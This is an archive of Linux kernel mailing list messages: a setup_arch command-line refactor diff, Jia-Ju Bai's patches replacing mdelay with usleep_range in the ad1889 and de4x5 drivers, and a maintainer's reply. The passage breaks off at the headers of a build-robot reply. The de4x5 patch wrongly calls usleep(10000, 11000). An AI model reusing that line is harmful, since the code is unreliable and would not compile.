 
diff --git a/arch/unicore32/kernel/setup.c b/arch/unicore32/kernel/setup.c
index c2bffa5614a4..c13a07eeed0b 100644
--- a/arch/unicore32/kernel/setup.c
+++ b/arch/unicore32/kernel/setup.c
@@ -60,8 +60,6 @@ struct screen_info screen_info;
 char elf_platform[ELF_PLATFORM_SIZE];
 EXPORT_SYMBOL(elf_platform);
 
-static char __initdata cmd_line[COMMAND_LINE_SIZE];
-
 static char default_command_line[COMMAND_LINE_SIZE] __initdata = CONFIG_CMDLINE;
 
 /*
@@ -235,7 +233,7 @@ static int __init customize_machine(void)
 }
 arch_initcall(customize_machine);
 
-void __init setup_arch(char **cmdline_p)
+void __init setup_arch(void)
 {
 	char *from = default_command_line;
 
@@ -249,10 +247,6 @@ void __init setup_arch(char **cmdline_p)
 	/* parse_early_param needs a boot_command_line */
 	strlcpy(boot_command_line, from, COMMAND_LINE_SIZE);
 
-	/* populate cmd_line too for later use, preserving boot_command_line */
-	strlcpy(cmd_line, boot_command_line, COMMAND_LINE_SIZE);
-	*cmdline_p = cmd_line;
-
 	parse_early_param();
 
 	uc32_memblock_init(&meminfo);
diff --git a/arch/x86/kernel/setup.c b/arch/x86/kernel/setup.c
index 6285697b6e56..6e3347dde550 100644
--- a/arch/x86/kernel/setup.c
+++ b/arch/x86/kernel/setup.c
@@ -219,7 +219,6 @@ unsigned long saved_video_mode;
 #define RAMDISK_PROMPT_FLAG		0x8000
 #define RAMDISK_LOAD_FLAG		0x4000
 
-static char __initdata command_line[COMMAND_LINE_SIZE];
 #ifdef CONFIG_CMDLINE_BOOL
 static char __initdata builtin_cmdline[COMMAND_LINE_SIZE] = CONFIG_CMDLINE;
 #endif
@@ -812,7 +811,7 @@ dump_kernel_offset(struct notifier_block *self, unsigned long v, void *p)
  * Note: On x86_64, fixmaps are ready for use even before this is called.
  */
 
-void __init setup_arch(char **cmdline_p)
+void __init setup_arch(void)
 {
 	memblock_reserve(__pa_symbol(_text),
 			 (unsigned long)__bss_stop - (unsigned long)_text);
@@ -933,9 +932,6 @@ void __init setup_arch(char **cmdline_p)
 #endif
 #endif
 
-	strlcpy(command_line, boot_command_line, COMMAND_LINE_SIZE);
-	*cmdline_p = command_line;
-
 	/*
 	 * x86_configure_nx() is called before parse_early_param() to detect
 	 * whether hardware doesn't support NX (so that the early EHCI debug
diff --git a/arch/xtensa/kernel/setup.c b/arch/xtensa/kernel/setup.c
index 686a27444bba..0409fa85bfdd 100644
--- a/arch/xtensa/kernel/setup.c
+++ b/arch/xtensa/kernel/setup.c
@@ -309,8 +309,10 @@ static inline int mem_reserve(unsigned long start, unsigned long end)
 	return memblock_reserve(start, end - start);
 }
 
-void __init setup_arch(char **cmdline_p)
+void __init setup_arch(void)
 {
+	char *cmdline_p = command_line;
+
 	pr_info("config ID: %08x:%08x\n",
 		get_sr(SREG_EPC), get_sr(SREG_EXCSAVE));
 	if (get_sr(SREG_EPC) != XCHAL_HW_CONFIGID0 ||
@@ -318,9 +320,8 @@ void __init setup_arch(char **cmdline_p)
 		pr_info("built for config ID: %08x:%08x\n",
 			XCHAL_HW_CONFIGID0, XCHAL_HW_CONFIGID1);
 
-	*cmdline_p = command_line;
-	platform_setup(cmdline_p);
-	strlcpy(boot_command_line, *cmdline_p, COMMAND_LINE_SIZE);
+	platform_setup(&cmdline_p);
+	strlcpy(boot_command_line, cmdline_p, COMMAND_LINE_SIZE);
 
 	/* Reserve some memory regions */
 
diff --git a/include/linux/init.h b/include/linux/init.h
index bc27cf03c41e..206b98d77cb4 100644
--- a/include/linux/init.h
+++ b/include/linux/init.h
@@ -129,7 +129,7 @@ extern char *saved_command_line;
 extern unsigned int reset_devices;
 
 /* used by init/main.c */
-void setup_arch(char **);
+void setup_arch(void);
 void prepare_namespace(void);
 void __init load_default_modules(void);
 int __init init_rootfs(void);
diff --git a/init/main.c b/init/main.c
index e4a3160991ea..8df5917867b1 100644
--- a/init/main.c
+++ b/init/main.c
@@ -367,15 +367,16 @@ static inline void smp_prepare_cpus(unsigned int maxcpus) { }
  * parsing is performed in place, and we should allow a component to
  * store reference of name/value for future reference.
  */
-static void __init setup_command_line(char *command_line)
+static void __init setup_command_line(void)
 {
 	saved_command_line =
 		memblock_virt_alloc(strlen(boot_command_line) + 1, 0);
 	initcall_command_line =
 		memblock_virt_alloc(strlen(boot_command_line) + 1, 0);
-	static_command_line = memblock_virt_alloc(strlen(command_line) + 1, 0);
+	static_command_line =
+		memblock_virt_alloc(strlen(boot_command_line) + 1, 0);
 	strcpy(saved_command_line, boot_command_line);
-	strcpy(static_command_line, command_line);
+	strcpy(static_command_line, boot_command_line);
 }
 
 /*
@@ -514,7 +515,6 @@ static void __init mm_init(void)
 
 asmlinkage __visible void __init start_kernel(void)
 {
-	char *command_line;
 	char *after_dashes;
 
 	set_task_stack_end_magic(&init_task);
@@ -533,16 +533,16 @@ asmlinkage __visible void __init start_kernel(void)
 	boot_cpu_init();
 	page_address_init();
 	pr_notice("%s", linux_banner);
-	setup_arch(&command_line);
+	setup_arch();
 	/*
 	 * Set up the the initial canary and entropy after arch
 	 * and after adding latent and command line entropy.
 	 */
 	add_latent_entropy();
-	add_device_randomness(command_line, strlen(command_line));
+	add_device_randomness(boot_command_line, strlen(boot_command_line));
 	boot_init_stack_canary();
 	mm_init_cpumask(&init_mm);
-	setup_command_line(command_line);
+	setup_command_line();
 	setup_nr_cpu_ids();
 	setup_per_cpu_areas();
 	boot_cpu_state_init();
-- 
2.14.1

From - Thu Nov 08 21:41:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Jia-Ju Bai <baijiaju1990@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.alsa.devel
Subject: [PATCH 1/2] sound: ad1889: Replace mdelay with usleep_range in snd_ad1889_init
Date: Mon,  9 Apr 2018 21:03:20 +0800
Lines: 37
Approved: news@gmane.org
Message-ID: <1523279000-23973-1-git-send-email-baijiaju1990@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1523278893 32051 195.159.176.226 (9 Apr 2018 13:01:33 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 9 Apr 2018 13:01:33 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, alsa-devel@alsa-project.org,
        linux-kernel@vger.kernel.org, Jia-Ju Bai <baijiaju1990@gmail.com>
To: T-Bone@parisc-linux.org, perex@perex.cz, tiwai@suse.com
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Apr 09 15:01:28 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f5WQK-0007jt-0A
	for glk-linux-kernel-4@m.gmane.org; Mon, 09 Apr 2018 15:01:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751896AbeDINDf (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 9 Apr 2018 09:03:35 -0400
Original-Received: from mail-pl0-f68.google.com ([209.85.160.68]:39853 "EHLO
        mail-pl0-f68.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751697AbeDINDe (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 9 Apr 2018 09:03:34 -0400
Original-Received: by mail-pl0-f68.google.com with SMTP id e7-v6so3089275plt.6;
        Mon, 09 Apr 2018 06:03:34 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id;
        bh=Fb4TNy6IHMG8cMQ7Q8YTEl5d8hLERD1pJrUnHp5x2Ns=;
        b=s0CAf+iyvglIRQ2QEmO8Pc5b2XGKOcLNvGndbc9T2kjF/m/Rw9P8AojIgdWzEVTRgR
         0Q75YkPrvJ7KuJO1w+nS380dnEWikrwyC4Oc0X7kB2GXIrGaxys1iKQ6O8/NJSA6Q7sX
         3Tzmbzmq5s3G5ifPi40G5WVsCBLQJh3x2f1LOPw0x9A5LgQr+lN5Hj4AsG45P8MQA5YF
         h1Fag1oSQk6agVy9OD0NZVmWyUSOS/nLmKVrSsKwj3/WsWd7rwDeSWV0jpt3TyHerj0U
         ET2ogIOO4wiwXG/yYcOMPIC93Vq0IW/r0FiUeALMQeb993+0YyvvxzdofA852Qfa5b3P
         Xhxg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id;
        bh=Fb4TNy6IHMG8cMQ7Q8YTEl5d8hLERD1pJrUnHp5x2Ns=;
        b=PyrBvl6g/G2HIOHQUEZ0SWGDVzgjCHUBSGN9X+habszfHPZQOHs/J8AjicjnNKtTIe
         UwzN64j5MJ/4Ddtv3GzNEz06G5XELDR+njDxwVofiC4206TQid+OiHVVvJkev8r6Fhic
         yk3ZPcjkX3tG9AiiRN3n31qk2hAetUymX7ZRJxSc5NXjVuSc39G2P447EWjjLWm6ZUuP
         JXssTMp3u3SN/if8g0fuotnBt44drIiQ74Za6A3RYxcDhgB54qxl7msfm0jJVUwbj+YY
         dnIKNIjyn8PcX7+o6Neg5kf+ZjBXhT+jtcsVqd0SWKqgH0v4qACTTd2fDLbIn6znpFeM
         RYvA==
X-Gm-Message-State: ALQs6tDQYv7887MdTTtN06W1cUeO6HCww8Hs2jGqaBtefMhl7N2yJvCE
        NI/OlZV49ooVKkm/sKqgfTw=
X-Google-Smtp-Source: AIpwx4/NX1BWBfZbVAgLp84WqOUU4JCJ1Gi3IJx9scvztcENf1E20WAI5ku/laQcJU7P7AaZPmN/6Q==
X-Received: by 2002:a17:902:590e:: with SMTP id o14-v6mr14656650pli.229.1523279013760;
        Mon, 09 Apr 2018 06:03:33 -0700 (PDT)
Original-Received: from oslab.tsinghua.edu.cn ([2402:f000:1:4413:39e9:70fb:21a6:f4d2])
        by smtp.gmail.com with ESMTPSA id s63sm1426078pfe.6.2018.04.09.06.03.30
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Mon, 09 Apr 2018 06:03:33 -0700 (PDT)
X-Mailer: git-send-email 1.9.1
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2736601 gmane.linux.ports.parisc:28474 gmane.linux.alsa.devel:180984
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2736601>

snd_ad1889_init() is never called in atomic context.

The call chain ending up at snd_ad1889_init() is:
[1] snd_ad1889_init() <- snd_ad1889_create() <- snd_ad1889_probe()

snd_ad1889_probe() is only set as ".probe" in struct pci_driver.
This function is not called in atomic context.

Despite never getting called from atomic context, snd_ad1889_init()
calls mdelay for busy wait.
This is not necessary and can be replaced with usleep_range to
avoid busy waiting.

This is found by a static analysis tool named DCNS written by myself.

Signed-off-by: Jia-Ju Bai <baijiaju1990@gmail.com>
---
 sound/pci/ad1889.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/sound/pci/ad1889.c b/sound/pci/ad1889.c
index 0bf2c04..d4965eb 100644
--- a/sound/pci/ad1889.c
+++ b/sound/pci/ad1889.c
@@ -872,7 +872,7 @@ struct snd_ad1889 {
 	ad1889_writew(chip, AD_DS_CCS, AD_DS_CCS_CLKEN); /* turn on clock */
 	ad1889_readw(chip, AD_DS_CCS);	/* flush posted write */
 
-	mdelay(10);
+	usleep_range(10000, 11000);
 
 	/* enable Master and Target abort interrupts */
 	ad1889_writel(chip, AD_DMA_DISR, AD_DMA_DISR_PMAE | AD_DMA_DISR_PTAE);
-- 
1.9.1



From - Thu Nov 08 21:41:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Jia-Ju Bai <baijiaju1990@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.alsa.devel
Subject: [PATCH 2/2] sound: ad1889: Replace mdelay with usleep_range in snd_ad1889_ac97_ready
Date: Mon,  9 Apr 2018 21:03:38 +0800
Lines: 38
Approved: news@gmane.org
Message-ID: <1523279018-24017-1-git-send-email-baijiaju1990@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1523278906 756 195.159.176.226 (9 Apr 2018 13:01:46 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 9 Apr 2018 13:01:46 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, alsa-devel@alsa-project.org,
        linux-kernel@vger.kernel.org, Jia-Ju Bai <baijiaju1990@gmail.com>
To: T-Bone@parisc-linux.org, perex@perex.cz, tiwai@suse.com
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Apr 09 15:01:41 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f5WQX-0008Lw-03
	for glk-linux-kernel-4@m.gmane.org; Mon, 09 Apr 2018 15:01:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752061AbeDINDt (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 9 Apr 2018 09:03:49 -0400
Original-Received: from mail-pf0-f196.google.com ([209.85.192.196]:35067 "EHLO
        mail-pf0-f196.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751820AbeDINDp (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 9 Apr 2018 09:03:45 -0400
Original-Received: by mail-pf0-f196.google.com with SMTP id u86so5748933pfd.2;
        Mon, 09 Apr 2018 06:03:45 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id;
        bh=VtFvdV4UzYTvg1ZEfvH1DA86rokF+JiO5hrUQyxMaSQ=;
        b=fPPHif6FD7H3v9JT/7nCPKUBiA64/FP0gZPNGHzTc5UiPfPnjRBb2I8+XvOJTxh0Qe
         I73VN8t9X+eMe2Rgni26YjNkBMfdi4o31MmSqHa6dg/YLFg3KQJgDYMHHGfydDmhDdND
         7hL7+rd9g9/STTOiWob3pNG4qn3xuFipMQufpiA9JAS0314Il4Wsv3SSVFTitQFvoEL4
         gMEZqhmdXTxViBI1+GBnvq7x5GwExu3lfGGZF7jHELyj9GHMfX4ogwqR/8DJbZvUBEaH
         AQHfvLihdpsUvilR+Rmc/fVUzsCaqofe8LbA/KBANrQ74Pznw3mo9ac4K2TgPbX11nV1
         IgeQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id;
        bh=VtFvdV4UzYTvg1ZEfvH1DA86rokF+JiO5hrUQyxMaSQ=;
        b=uD59grS1jwbCzA3kngDxHorvKSIfvYykjKjY5TJX7FLmaEqLVYPHbsw3DyAjM5oJNj
         X3dyxF8D28E5iRPe+O42fWWvcfeTzSo0Ty5nDrHc1L5zwIkpCWu4BDV320hEk00D8OZt
         0RC0mhMF8/zx3uAoLM0tiEI9c+FpEiQlEEIOkR0LtDRhZZRnBn9vXPMRURTMqXbom8ya
         +78ndvWPiJzWF65vFP+hOgWPcEmSt/jLrKPh9nvKlN8ueNuw2m+Dt4YSz4TwfNAIABIq
         ra6jrUy8tr5DbZO5BOaXRZp6t8d5lWw3uJd6MMP3Wcp27+82wq/fZIc+F2yIx5Lz2qBh
         GJLg==
X-Gm-Message-State: AElRT7FjUSrQcZjqs+Cr+ru/eRL4Wkck9m+510E/XqRZzYJ8fEIqRW+X
        s6myDXXBzyHAUsyvTmzeePi72A==
X-Google-Smtp-Source: AIpwx486wri9NwmZYHfbp79BtnlTrC/6RkppW9tPoZtjrMIwWwL5tkDrARbqTDnfGJ+wrt/ytQlv9A==
X-Received: by 10.99.169.1 with SMTP id u1mr25751806pge.251.1523279025159;
        Mon, 09 Apr 2018 06:03:45 -0700 (PDT)
Original-Received: from oslab.tsinghua.edu.cn ([2402:f000:1:4413:39e9:70fb:21a6:f4d2])
        by smtp.gmail.com with ESMTPSA id r20sm1382623pff.165.2018.04.09.06.03.42
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Mon, 09 Apr 2018 06:03:44 -0700 (PDT)
X-Mailer: git-send-email 1.9.1
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2736603 gmane.linux.ports.parisc:28475 gmane.linux.alsa.devel:180985
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2736603>

snd_ad1889_ac97_ready() is never called in atomic context.

The call chain ending up at snd_ad1889_ac97_ready() is:
[1] snd_ad1889_ac97_ready() <- snd_ad1889_ac97_xinit() <- 
	snd_ad1889_ac97_init() <- snd_ad1889_probe()

snd_ad1889_probe() is only set as ".probe" in struct pci_driver.
This function is not called in atomic context.

Despite never getting called from atomic context, snd_ad1889_ac97_ready()
calls mdelay for busy wait.
This is not necessary and can be replaced with usleep_range to
avoid busy waiting.

This is found by a static analysis tool named DCNS written by myself.

Signed-off-by: Jia-Ju Bai <baijiaju1990@gmail.com>
---
 sound/pci/ad1889.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/sound/pci/ad1889.c b/sound/pci/ad1889.c
index 0bf2c04..a2a8e1d 100644
--- a/sound/pci/ad1889.c
+++ b/sound/pci/ad1889.c
@@ -258,7 +258,7 @@ struct snd_ad1889 {
 	
 	while (!(ad1889_readw(chip, AD_AC97_ACIC) & AD_AC97_ACIC_ACRDY) 
 			&& --retry)
-		mdelay(1);
+		usleep_range(1000, 2000);
 	if (!retry) {
 		dev_err(chip->card->dev, "[%s] Link is not ready.\n",
 			__func__);
-- 
1.9.1



From - Thu Nov 08 21:41:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Takashi Iwai <tiwai@suse.de>
Newsgroups: gmane.linux.kernel,gmane.linux.alsa.devel,gmane.linux.ports.parisc
Subject: Re: [PATCH 1/2] sound: ad1889: Replace mdelay with usleep_range in snd_ad1889_init
Date: Mon, 09 Apr 2018 15:17:09 +0200
Lines: 27
Approved: news@gmane.org
Message-ID: <s5h1sfoh63u.wl-tiwai@suse.de>
References: <1523279000-23973-1-git-send-email-baijiaju1990@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka")
Content-Type: text/plain; charset=US-ASCII
X-Trace: blaine.gmane.org 1523279711 32251 195.159.176.226 (9 Apr 2018 13:15:11 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 9 Apr 2018 13:15:11 +0000 (UTC)
User-Agent: Wanderlust/2.15.9 (Almost Unreal) SEMI/1.14.6 (Maruoka)
 FLIM/1.14.9 (=?UTF-8?B?R29qxY0=?=) APEL/10.8 Emacs/25.3
 (x86_64-suse-linux-gnu) MULE/6.0 (HANACHIRUSATO)
Cc: <T-Bone@parisc-linux.org>, <perex@perex.cz>,
        <alsa-devel@alsa-project.org>, <linux-kernel@vger.kernel.org>,
        <linux-parisc@vger.kernel.org>
To: "Jia-Ju Bai" <baijiaju1990@gmail.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Apr 09 15:15:07 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f5WdW-0008EU-Fq
	for glk-linux-kernel-4@m.gmane.org; Mon, 09 Apr 2018 15:15:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752137AbeDINRM (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 9 Apr 2018 09:17:12 -0400
Original-Received: from mx2.suse.de ([195.135.220.15]:43221 "EHLO mx2.suse.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1750982AbeDINRL (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 9 Apr 2018 09:17:11 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.220.254])
        by mx2.suse.de (Postfix) with ESMTP id A3FC2AF14;
        Mon,  9 Apr 2018 13:17:09 +0000 (UTC)
In-Reply-To: <1523279000-23973-1-git-send-email-baijiaju1990@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2736613 gmane.linux.alsa.devel:180989 gmane.linux.ports.parisc:28476
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2736613>

On Mon, 09 Apr 2018 15:03:20 +0200,
Jia-Ju Bai wrote:
> 
> snd_ad1889_init() is never called in atomic context.
> 
> The call chain ending up at snd_ad1889_init() is:
> [1] snd_ad1889_init() <- snd_ad1889_create() <- snd_ad1889_probe()
> 
> snd_ad1889_probe() is only set as ".probe" in struct pci_driver.
> This function is not called in atomic context.
> 
> Despite never getting called from atomic context, snd_ad1889_init()
> calls mdelay for busy wait.
> This is not necessary and can be replaced with usleep_range to
> avoid busy waiting.
> 
> This is found by a static analysis tool named DCNS written by myself.
> 
> Signed-off-by: Jia-Ju Bai <baijiaju1990@gmail.com>

Since it's no urgent fix, I'll postpone to 4.18.


thanks,

Takashi


From - Thu Nov 08 21:41:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Jia-Ju Bai <baijiaju1990@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.network,gmane.linux.ports.parisc
Subject: [PATCH] dec: tulip: de4x5: Replace mdelay with usleep_range in de4x5_hw_init
Date: Wed, 11 Apr 2018 10:00:54 +0800
Lines: 35
Approved: news@gmane.org
Message-ID: <1523412054-2108-1-git-send-email-baijiaju1990@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1523411951 20673 195.159.176.226 (11 Apr 2018 01:59:11 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 11 Apr 2018 01:59:11 +0000 (UTC)
Cc: netdev@vger.kernel.org, linux-parisc@vger.kernel.org,
        linux-kernel@vger.kernel.org, Jia-Ju Bai <baijiaju1990@gmail.com>
To: davem@davemloft.net, dhowells@redhat.com,
        stephen@networkplumber.org, johannes.berg@intel.com,
        arvind.yadav.cs@gmail.com
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Apr 11 03:59:06 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f652O-0005GP-Gs
	for glk-linux-kernel-4@m.gmane.org; Wed, 11 Apr 2018 03:59:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752904AbeDKCBL (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 10 Apr 2018 22:01:11 -0400
Original-Received: from mail-pl0-f67.google.com ([209.85.160.67]:40247 "EHLO
        mail-pl0-f67.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752849AbeDKCBK (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 10 Apr 2018 22:01:10 -0400
Original-Received: by mail-pl0-f67.google.com with SMTP id x4-v6so210476pln.7;
        Tue, 10 Apr 2018 19:01:10 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id;
        bh=EneuiYEMJYPBd1/yXvDJQ6pevUek3g/GtjsoDlvBLeI=;
        b=s6lPty9elvPMA4QL/myRxFINvf8ENysaximm6uhwJoIqGn7CLNZlNaXm+y28CICBoI
         Dxs542+/5dckXTRRnz15dX+TlWqLkwSUILValT2Qc5kY5FlhJf9if4Iv+iouZmqmzqxJ
         4oPMVhHlsAPAHhBkMpxAdED6HYjHnaMf3DyswlUmvOgE2ekE1tfdG2kzsEG1I85kyekX
         /pJIacAZxWxMFyy76801xw8N8C9WRh2e7aPrVDacmkyInqD5zPK3xG1hbWSJzQqBlJf+
         Gprf1m3EPlUVcv9mIkZGtC1prkdj1nj98GjPDOy0pp+gfOLuS0ssEvaHqFMqDooAKWdZ
         VY4g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id;
        bh=EneuiYEMJYPBd1/yXvDJQ6pevUek3g/GtjsoDlvBLeI=;
        b=pf3x2ZuPUxjd+0lr9IPYiP/WfN+7QKfud7vIGOCRpPtJ+wEk3eDbvQjBenZQ8Ak6ff
         s8roO0kcWIialwXQheoMJ6yPz8TfytpXy99zfapeHT86zc91ow/knxIWZNsrONe9UUHY
         DUdIbCeRI+bJ0vGBAne+8fVmaikP7PI29tueox94C+rExsH9eMbKzlhwrx4t8uf0ClxW
         aPRrzEhK+1xUksQ6cqCzjz5RhDxm9Fqg941SqtIqLgfyAd2T/Swa5zIe/HDvxZ5w2Jlh
         46Rtkyf+0vVeqaUK0syg8htEnJdljkSso45l1sDuWAl2+rfjFr0QPTFf0HL2JhquUqzF
         We+A==
X-Gm-Message-State: ALQs6tA+n692JHM6hz2u9iG+NpoeAB0uaxybPmLY5U3CrNmBpsu32o3a
        Eb87atQbrek+Zt9tsRnpMcI=
X-Google-Smtp-Source: AIpwx48R5J5Kphi+YzxksVyufGz79VUg7FY9RCcrcU0pRK4nY/U2ssXu0mzFUBFLarcbxcoirAvZ1A==
X-Received: by 2002:a17:902:5416:: with SMTP id d22-v6mr2906952pli.111.1523412069801;
        Tue, 10 Apr 2018 19:01:09 -0700 (PDT)
Original-Received: from oslab.tsinghua.edu.cn ([2402:f000:1:4413:edc8:c1dd:b0a8:461d])
        by smtp.gmail.com with ESMTPSA id d4sm65063pgc.43.2018.04.10.19.01.01
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Tue, 10 Apr 2018 19:01:09 -0700 (PDT)
X-Mailer: git-send-email 1.9.1
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2738360 gmane.linux.network:526297 gmane.linux.ports.parisc:28477
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2738360>

de4x5_hw_init() is never called in atomic context.

de4x5_hw_init() is only called by de4x5_pci_probe(), which is only 
set as ".probe" in struct pci_driver.

Despite never getting called from atomic context, de4x5_hw_init() 
calls mdelay() to busily wait.
This is not necessary and can be replaced with usleep_range() to 
avoid busy waiting.

This is found by a static analysis tool named DCNS written by myself.
And I also manually check it.

Signed-off-by: Jia-Ju Bai <baijiaju1990@gmail.com>
---
 drivers/net/ethernet/dec/tulip/de4x5.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/net/ethernet/dec/tulip/de4x5.c b/drivers/net/ethernet/dec/tulip/de4x5.c
index 0affee9..3fb0119 100644
--- a/drivers/net/ethernet/dec/tulip/de4x5.c
+++ b/drivers/net/ethernet/dec/tulip/de4x5.c
@@ -1107,7 +1107,7 @@ static int (*dc_infoblock[])(struct net_device *dev, u_char, u_char *) = {
 	pdev = to_pci_dev (gendev);
 	pci_write_config_byte(pdev, PCI_CFDA_PSM, WAKEUP);
     }
-    mdelay(10);
+    usleep(10000, 11000);
 
     RESET_DE4X5;
 
-- 
1.9.1



From - Thu Nov 08 21:41:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: kbuild test robot <lkp@intel.com>
Newsgroups: gmane.linux.kernel,gmane.linux.network,gmane.linux.ports.parisc
Subject: Re: [PATCH] dec: tulip: de4x5: Replace mdelay with usleep_range in
 de4x5_hw_init
Date: Wed, 11 Apr 2018 22:58:50 +0800
Lines: 725
Approved: news@gmane.org
Message-ID: <201804112221.HD6aguSI%fengguang.wu@intel.com>
References: <1523412054-2108-1-git-send-email-baijiaju1990@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
